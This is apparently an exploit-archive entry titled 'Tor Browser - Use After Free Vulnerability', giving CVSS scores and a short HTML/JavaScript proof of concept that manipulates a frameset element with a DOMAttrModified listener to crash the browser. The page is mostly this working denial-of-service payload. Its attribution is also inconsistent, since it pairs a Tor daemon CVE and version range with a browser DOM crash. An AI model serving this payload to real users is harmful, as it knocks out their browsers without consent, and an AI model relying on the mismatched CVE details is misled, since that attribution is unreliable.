Tor Browser - Use After Free Vulnerability

2018.07.09
be t4rkd3vilz (BE) be
Risk: High
Local: No
Remote: Yes
CWE: CWE-416


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

# Exploit Title: Tor Browser - Use After Free Vulnerability # Date: 09.07.2018 # Exploit Author: t4rkd3vilz # Vendor Homepage: https://www.torproject.org/ # Software Link: https://www.torproject.org/download/download-easy.html.en # Version: Tor 0.3.2.x before 0.3.2.10 # Tested on: Kali Linux # CVE : CVE-2018-0491 #Run exploit, result DOS <!DOCTYPE html> <html> <title>veryhandsome jameel naboo</title> <body> <script> function send() { try { document.body.contentEditable = 'true'; } catch(e){} try { var e0 = document.createElement("frameset"); } catch(e){} try { document.body.appendChild(e0); } catch(e){} try { e0.appendChild(document.createElement("BBBBBBBBBBBBBBB")); } catch(e){} try { e0.addEventListener("DOMAttrModified",function(){document.execCommand("SelectAll");e0['bo rder']='-4400000000';}, false); e0.focus();} catch(e){} try { e0.setAttribute('iframe'); } catch(e){} try { document.body.insertBefore(e0); } catch(e){} } send();</script></html>


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